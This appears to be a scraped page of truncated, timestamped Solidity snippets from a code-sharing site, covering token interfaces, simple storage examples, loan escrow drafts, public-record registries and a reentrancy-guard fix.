    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);
}

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Wheneve
Mar 26, 2021 23:39:37 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 26, 2021 05:54:42 UTC
pragma solidity ^0.7.1;

/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  uint256 public totalSupply;
  function balanceOf(address who) public constant returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint2
Mar 24, 2021 09:23:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value; 
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

Mar 20, 2021 16:15:52 UTC
pragma solidity 0.4.18; 
contract gfgMathPlus  
{ 
    // Declaring the state 
    // variables 
    uint firstNo=5; 
    uint secondNo=2 ; 
    
  
    // Defining the function  
    // to set the value of the  
    // first variable 
    function firstNoSet(uint x) public 
    { 
        firstNo = x; 
    } 
  
    // Defining the function 
    // to set the value of the  
    // second variable 
    function secondNoSet(uint y) public 
    { 
        secondNo = y; 
    } 
  
    // Defining the function 
    // to add the two variables 
    function add() view public returns (uint)  
    { 
        uint Sum = firstNo + secondNo ; 
          
        // Sum of two variables 
        return Sum; 
    } 
    
}
Mar 19, 2021 04:36:33 UTC
// SPDX-License-Identifier: FIRChain
pragma solidity ^0.7.1;

contract FIRChain {
    enum Roles {NoRole, PoliceStation, HeadQuarters}
    enum ComplaintType {Nil, Missing, Found}
    event verifyEvent(bool Status);
    event findMatchEvent(uint256 fid1, uint256 fid2);
    
    struct PoliceStationStruct {
        uint256 pId;
        address ethAddr;
        string name;
        string addr;
        string state;
        uint256 phno;
        Roles role;
    }
    struct FIRStruct {
        uint256 fId;
        string name;
        string details;
        string state;
        uint uniqueId;
        ComplaintType ctype;
        uint256 registeredDate;
        uint256 closedDate;
        bool findMatch;
        bool status;
    }
    mapping(uint256 => PoliceStationStruct) Police;
    mapping(uint256 => uint256) HeadQuarter;
    mapping(uint256 => uint256[]) PoliceStations;
    mapping(address => uint256) Registered;
    mapping(uint => bool) MissingStatus;
    mapping(uint => bool) FoundStatus;
    mapping(u
Mar 16, 2021 17:40:50 UTC
// Possible HashMasks fix


// 1. Add the following  to the Masks.sol on line 17 or so (new line, do not paste in "contract {" or anywhere else.
// NOTE: I removed the comments it contained to save space.
// The source of it is here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor () {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}




// 2. Chan
Mar 15, 2021 18:50:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 15, 2021 13:20:01 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 21:40:49 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 21:39:11 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 20:45:25 UTC
pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *
Mar 12, 2021 20:36:14 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

 uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function buy(uint256 num) public {
        number = number + 1;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function get() public view returns (uint256){
        return number;
    }
  uint value;
Mar 12, 2021 05:15:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract A {
    B b;

    function setB(B addr) public { b = addr; }

    function foo() public returns (string) {
        uint y = b.bar.gas(1)();
        assert(y == 0);
        return "Hello World";
    }
}

contract B {
    function bar() public pure returns (uint) {
        while(true) { }
        return 1;
    }
Mar 11, 2021 22:59:34 UTC
pragma solidity ^0.4.18;

contract ZombieFactory {

    uint dnaDigits = 16;
    uint dnaModulus = 10 ** dnaDigits;

    struct Zombie {
        string name;
        uint dna;
    }

    Zombie[] public zombies;

    function _createZombie(string _name, uint _dna) private {
        zombies.push(Zombie(_name, _dna));
    } 

    function _generateRandomDna(string _str) private view returns (uint) {
         uint rand = uint(keccak256(_str));
         return rand % dnaModulus;
         
    }

Mar 11, 2021 00:38:37 UTC
pragma solidity ^0.5.9;

contract Examen {
    
    uint8 constant public minNota = 4;
    
    struct Alumno {
        bool corregido;
        bool aprobado;
        uint8 nota;
    }
    
    address public owner;
    
    mapping (address => Alumno) public alumnos;
    
    constructor () public {
        owner = msg.sender;
    }
    
    function ponerNota(address idAlumno, uint8 nota) public {
        require(msg.sender == owner);
        alumnos[idAlumno].corregido = true;
        alumnos[idAlumno].nota = nota;
        if (alumnos[idAlumno].nota >= minNota) {
            alumnos[idAlumno].aprobado = true;
        }
    }       
Mar 10, 2021 16:09:17 UTC
pragma solidity ^0.5.9;

contract Examen {
    
    uint8 constant public minNota = 4;
    
    struct Alumno {
        bool corregido;
        bool aprobado;
        uint8 nota;
    }
    
    address public owner;
    
    mapping (address => Alumno) public alumnos;
    
    constructor () public {
        owner = msg.sender;
    }
    
    function ponerNota(address idAlumno, uint8 nota) public {
        require(msg.sender == owner);
        alumnos[idAlumno].corregido = true;
        alumnos[idAlumno].nota = nota;
        if (alumnos[idAlumno].nota >= minNota) {
            alumnos[idAlumno].aprobado = true;
        }
    }
    
    
    
        
Mar 10, 2021 16:08:46 UTC
║     HOT BALANCE    │ DISCOUNT ║
     * ╠════════════════════╪══════════╣
     * ║     0 <= x < 10000 │     0%   ║
     * ╟────────────────────┼──────────╢
     * ║ 10000 <= x < 20000 │    10%   ║
     * ╟────────────────────┼──────────╢
     * ║ 20000 <= x < 30000 │    20%   ║
     * ╟────────────────────┼──────────╢
     * ║ 30000 <= x < 40000 │    30%   ║
     * ╟────────────────────┼──────────╢
     * ║ 40000 <= x         │    40%   
Mar 07, 2021 14:33:44 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 07, 2021 10:32:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Token {
  function totalSupply() constant returns (uint256 supply){}


Mar 07, 2021 09:48:32 UTC
pragma solidity >=0.4.0 <0.7.0;

contract Marriage {
	enum State{Continues, Divorced}
	State public state;
    uint proposaled_at;
	uint divorced_at;
    string giving_the_ring;
    string taking_the_ring;
    string witness1;
    string witness2;
    
    constructor(string _giving_the_ring, string _taking_the_ring, string _witness1, string _witness2) public{
		state = State.Continues;
		giving_the_ring = _giving_the_ring;
        taking_the_ring = _taking_the_ring;
		witness1 = _witness1;
		witness2 = _witness2;
		proposaled_at = now;
    }

    function divorce() public {
		state = State.Divorced;
        divorced_at = now; 
    }

    function marriage_summary() public view returns (string) {
		if (state == State.Continues){
			return string(abi.encodePacked("!!CONTINUES!! ", giving_the_ring, " -> ", taking_the_ring," time: ",  uint2str(proposaled_at)));
		}
		return string(abi.encodePacked("!!DIVORCED!! ", giving_the_ring, " -> ", taking_the_ring, " time: ",  uint2str(proposaled_at), " divorced at: ",  u
Mar 06, 2021 19:06:57 UTC
// contracts/GameItem.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract Runner is ERC721 {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() public ERC721("Runner", "RNR") {}

    function awardItem(address player, string memory tokenURI)
        public
        returns (uint256)
    {
        _tokenIds.increment();

        uint256 newItemId = _tokenIds.current();
        _mint(player, newItemId);
        _setTokenURI(newItemId, tokenURI);

        return newItemId;
    }
Mar 06, 2021 13:41:58 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string time;
    string email;
    string location;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (uint=>address) hospitalAddr;
  mapping (uint=>address) muncipalityAddr;
  mapping (uint=>bool) status;
  mapping (address=>bool) isHospital;
  mapping (address=>bool) isMuncipality;
Mar 05, 2021 19:09:12 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    // string time;
    string email;
    string location;
    // address hospitalAddr;
    // address muncipalityAddr;
    // bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (uint=>address) hospitalAddr;
  mapping (uint=>address) muncipalityAddr;
  mapping (uint=>bool) st
Mar 05, 2021 18:57:15 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.0;
contract greeter {
address owner;
string greeting;
function greeter(string _greeting) public {
greeting = _greeting;
owner = msg.sender;
}
function kill () public
{ if (msg.sender == owner) selfdestruct(owner);
}
function greet () public constant returns (string) 
{
return greeting;
}
Mar 04, 2021 13:08:43 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Mar 02, 2021 11:20:16 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string time;
    string email;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (address=>bool) isHospital;
  mapping (address=>bool) isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
Mar 02, 2021 09:39:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 28, 2021 18:31:48 UTC
pragma solidity 0.5.16;

interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * 
Feb 27, 2021 00:08:10 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }f
  

  uint value;
Feb 24, 2021 04:28:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
    appple
  }

  uint value;
Feb 24, 2021 03:44:09 UTC
pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong
Feb 20, 2021 22:56:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function burnratePrecentage() public constant returns (uint256) {
    return transferBurnRate;
  }

  function transferafterburn() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;
Feb 17, 2021 12:08:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function get() public constant returns (uint256) {
    return transferBurnRate;
  }

  function transferafterburn() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;
Feb 17, 2021 12:03:48 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function get() public constant returns (uint256) {
    return transferBurnRate;
  }

  function amounts() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;
Feb 17, 2021 12:01:59 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /****
Feb 15, 2021 07:01:15 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IFastLoan {
    
    event LoanRequestSubmitted(address, uint256, uint256);
    //NOTE: can add more even emitter for other functions 
    
    event LenderRegistered(address);
    
    event LoanRequestApproved(address, uint256);
    
    event LoanPaymentRecorded(uint256);
    
    /**
     * @dev register lender.
	 */
    function registerLender(address _lender) external; 

	/**
	 * @dev create and submit request.
	 */
    function submitLoanRequest(address payable _borrower, uint256 _amount, uint256 _projectId, string memory _projectTitle) external; 
                        //, uint _projectDuration) external;

	
	/**
	 * @dev approve submitted request. Should be done by the superValidator or delegated validator
	 **/
	function approveLoanRequest(bytes32 _requestId, address payable _lender, 
	                            uint8 _numberOfInstallments) external;
	                           
	
	/**
	 * @dev record the payments of the loans by 
Feb 14, 2021 04:12:15 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 requiredNofInstallments; 
		uint8 remainingNofInstallments;
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private
Feb 14, 2021 03:58:21 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 numberOfInstallments; 
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;

	// Aggregate Lenders info
Feb 14, 2021 00:18:31 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 numberOfInstallments; 
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;

	// Aggregate Lenders info
Feb 13, 2021 22:56:45 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './EscrowLoan.sol';

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
	EscrowLoan escrowContract;
	
	 mapping(address => uint256) public lenderDeposits;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    //private fixedInterestRate = (5 / 100);
   
Feb 12, 2021 04:29:53 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address lender;
		address borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    //private fixedInterestRate = (5 / 100);
    //uint private fixedInterestRate = (5 / 100); 
	
	// Aggregate Lenders info
	address[] private allLenders;

	// Aggregate borrowers' inf
Feb 11, 2021 07:16:05 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address lender;
		address borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
// 	struct CreditHistoryOracle{
// 	    uint creditScore;
// 	    uint dateCreditScoreReceived;
// 	}
	
// 	mapping (address => CreditHistoryOracle) private borroweCreditHistory;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    
Feb 11, 2021 06:05:41 UTC
pragma solidity ^0.4.24;

contract PrivateAPIContract {

	string public result;

	function TestURLBuilder(string apiKey, uint _time, string _ticker, uint _days) {

        // result = uintToString(12345678901234567890);
        result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
        result = appendUintToString(result, _time);
        result = string(abi.encodePacked(result,"&days="));
        result = appendUintToString(result, _days);
        result = string(abi.encodePacked(result,"&apiKey=", apiKey));
    }

	function uintToString(uint v) constant returns (string str) {
        uint maxlength = 100;
        bytes memory reversed = new bytes(maxlength);
        uint i = 0;
        while (v != 0) {
            uint remainder = v % 10;
            v = v / 10;
            reversed[i++] = byte(48 + remainder);
        }
        bytes memory s = new bytes(i);
        for (uint j = 0; j < i; j++) {
            s[j] = reverse
Feb 10, 2021 15:03:42 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint projectID;
        string projectTitle;
		uint projectDuration;
		uint amount;
        
		//uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
	    //uint id;
	    
	    uint projectID;
		address lender;
		address borrower;
		uint amount;
		uint interestAmount; 
		uint paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;

		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
	}
	
	struct CreditHistoryOracle{
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] public request
Feb 10, 2021 04:21:59 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    
    
    struct LoanRequest {
		address borrower;
		uint projectID;
        string projectTitle;
		uint projectDuration;
		uint amount;
        
		//uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
	    uint id;
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistoryOracle{
